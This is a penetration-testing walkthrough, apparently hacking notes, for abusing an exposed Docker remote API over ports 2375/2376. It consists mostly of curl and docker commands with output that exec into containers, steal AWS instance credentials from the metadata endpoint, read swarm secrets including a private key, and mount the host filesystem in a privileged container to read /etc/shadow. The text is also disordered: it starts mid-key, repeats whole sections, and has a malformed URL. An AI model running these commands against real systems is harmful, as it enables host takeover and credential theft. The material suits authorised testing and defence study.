MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
---SNIP---
If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables
curl -s --insecure https://tls-opendocker.socket:2376/services | jq
[{
"ID": "amxjs243dzmlc8vgukxdsx57y",
"Version": {
"Index": 6417
},
"CreatedAt": "2018-04-16T19:51:20.489851317Z",
"UpdatedAt": "2018-12-07T13:44:36.6869673Z",
"Spec": {
"Name": "app_REMOVED",
"Labels": {},
"TaskTemplate": {
"ContainerSpec": {
"Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739",
"Env": [
"PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com",
"PGADMIN_DEFAULT_PASSWORD=REMOVED"
],
"Isolation": "default"
Creating a container that has mounted the host file system
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
{"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null}
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
Read something from the host
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
{"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"}
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7:::
This wont cover breaking out of docker containers
Ports: usually 2375 & 2376 but can be anything
Refs:
https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0
https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way
https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html
https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html
https://infoslack.com/devops/exploring-docker-remote-api
https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf
https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/
https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
https://www.exploit-db.com/exploits/42356
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb
http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html
https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/
https://blog.ropnop.com/plundering-docker-images/
Enable docker socket (Create practice locations)
https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd
Having the docker API | socket exposed is essentially granting root to any of the containers on the system
The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.
The docker socket is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.
All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below:
Create a nginx container
The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}
Start the container
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start
As mentioned above you can also have the docker socket listen on a TCP port
You can validate it's docker by hitting it with a version request
$ curl -s http://open.docker.socket:2375/version | jq
{
"Version": "1.13.1",
"ApiVersion": "1.26",
"MinAPIVersion": "1.12",
"GitCommit": "07f3374/1.13.1",
"GoVersion": "go1.9.4",
"Os": "linux",
"Arch": "amd64",
"KernelVersion": "3.10.0-514.26.2.el7.x86_64",
"BuildTime": "2018-12-07T16:13:51.683697055+00:00",
"PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}
or with the docker client
docker -H open.docker.socket:2375 version
Server:
Engine:
Version: 1.13.1
API version: 1.26 (minimum version 1.12)
Go version: go1.9.4
Git commit: 07f3374/1.13.1
Built: Fri Dec 7 16:13:51 2018
OS/Arch: linux/amd64
Experimental: false
This is basically a shell into the container
Get a list of running containers with the ps command
docker -H open.docker.socket:2375 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
72cd30d28e5c gogs/gogs "/app/gogs/docker/st…" 5 days ago Up 5 days 0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp gogs
b522a9034b30 jdk1.8 "/bin/bash" 5 days ago Up 5 days myjdk8
0f5947860c17 centos/mysql-57-centos7 "container-entrypoin…" 8 days ago Up 8 days 0.0.0.0:3306->3306/tcp mysql
3965c004c7a7 192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT "java -jar /app.jar" 8 days ago Up 8 days 0.0.0.0:12000->12000/tcp config
3f466b754971 42cb59080921 "/bin/bash" 8 days ago Up 8 days jdk8
6499013fdc2d registry "/entrypoint.sh /etc…" 8 days ago Up 8 days 0.0.0.0:5000->5000/tcp registry
Exec into one of the containers
docker -H open.docker.socket:2375 exec -it mysql /bin/bash
bash-4.2$ whoami
mysql
Other commands
Are there some stopped containers?
docker -H open.docker.socket:2375 ps -a
What are the images pulled on the host machine?
docker -H open.docker.socket:2375 images
I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API. The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.
Using curl to hit the API
Sometimes you'll see 2376 up for the TLS endpoint. I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API.
Docker socket to metadata URL
https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec
Below is an example of hitting the internal AWS metadata URL and getting the output
list containers:
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
{
"Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
"Names": [
"/docker_snip_1"
],
"Image": "dotnetify",
"ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
"Command": "cmd /S /C 'dotnet netify-temp.dll'",
"Created": 1541018555,
"Ports": [
{
"IP": "0.0.0.0",
"PrivatePort": 443,
"PublicPort": 50278,
---SNIP---
List processes in a container:
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
{
"Processes": [
[
"smss.exe",
"7868",
"00:00:00.062",
"225.3kB"
],
[
"csrss.exe",
"10980",
"00:00:00.859",
"421.9kB"
],
[
"wininit.exe",
"10536",
"00:00:00.078",
"606.2kB"
],
[
"services.exe",
"10768",
"00:00:00.687",
"1.208MB"
],
[
"lsass.exe",
"10416",
"00:00:36.000",
"4.325MB"
],
---SNIP---
Set up and exec job to hit the metadata URL:
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}
Get the output:
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
{
"Code" : "Success",
"LastUpdated" : "2019-01-29T20:12:58Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIATRSNIP",
"SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
"Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
"Expiration" : "2019-01-30T02:43:34Z"
}
Docker secrets
relevant reading https://docs.docker.com/engine/swarm/secrets/
list secrets (no secrets/swarm not set up)
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
{ "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}
list secrets (they exist)
$ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
[
{
"ID": "9h3useaicj3tr465ejg2koud5",
"Version": {
"Index": 21
},
"CreatedAt": "2018-07-06T10:19:50.677702428Z",
"UpdatedAt": "2018-07-06T10:19:50.677702428Z",
"Spec": {
"Name": "registry-key.key",
"Labels": {} }},
Check what is mounted
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
{"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}
Get the output by starting the exec
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
overlay on / type overlay
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
---SNIP---
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
---SNIP---
Cat the mounted secret
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
{"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
---SNIP---
If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables
curl -s --insecure https://tls-opendocker.socket:2376/services | jq
[{
"ID": "amxjs243dzmlc8vgukxdsx57y",
"Version": {
"Index": 6417
},
"CreatedAt": "2018-04-16T19:51:20.489851317Z",
"UpdatedAt": "2018-12-07T13:44:36.6869673Z",
"Spec": {
"Name": "app_REMOVED",
"Labels": {},
"TaskTemplate": {
"ContainerSpec": {
"Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739",
"Env": [
"PGADMIN_DEFAULT_EMAIL=REMOVED
"PGADMIN_DEFAULT_PASSWORD=REMOVED"
],
"Isolation": "default"
Creating a container that has mounted the host file system
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
{"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null}
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
Read something from the host
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
{"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"}
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7:::
Cleanup
Stop the container
curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
delete stopped containers
curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune